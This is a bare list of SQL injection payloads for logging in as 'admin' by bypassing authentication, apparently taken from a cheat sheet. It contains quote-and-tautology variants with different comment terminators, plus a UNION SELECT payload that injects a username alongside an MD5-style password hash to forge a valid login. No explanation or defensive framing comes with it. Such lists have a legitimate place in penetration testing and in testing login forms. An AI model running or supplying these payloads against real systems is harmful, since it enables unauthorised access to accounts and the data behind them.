admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin",
"81dc9bdb52d04dc20036dbd8313ed055
```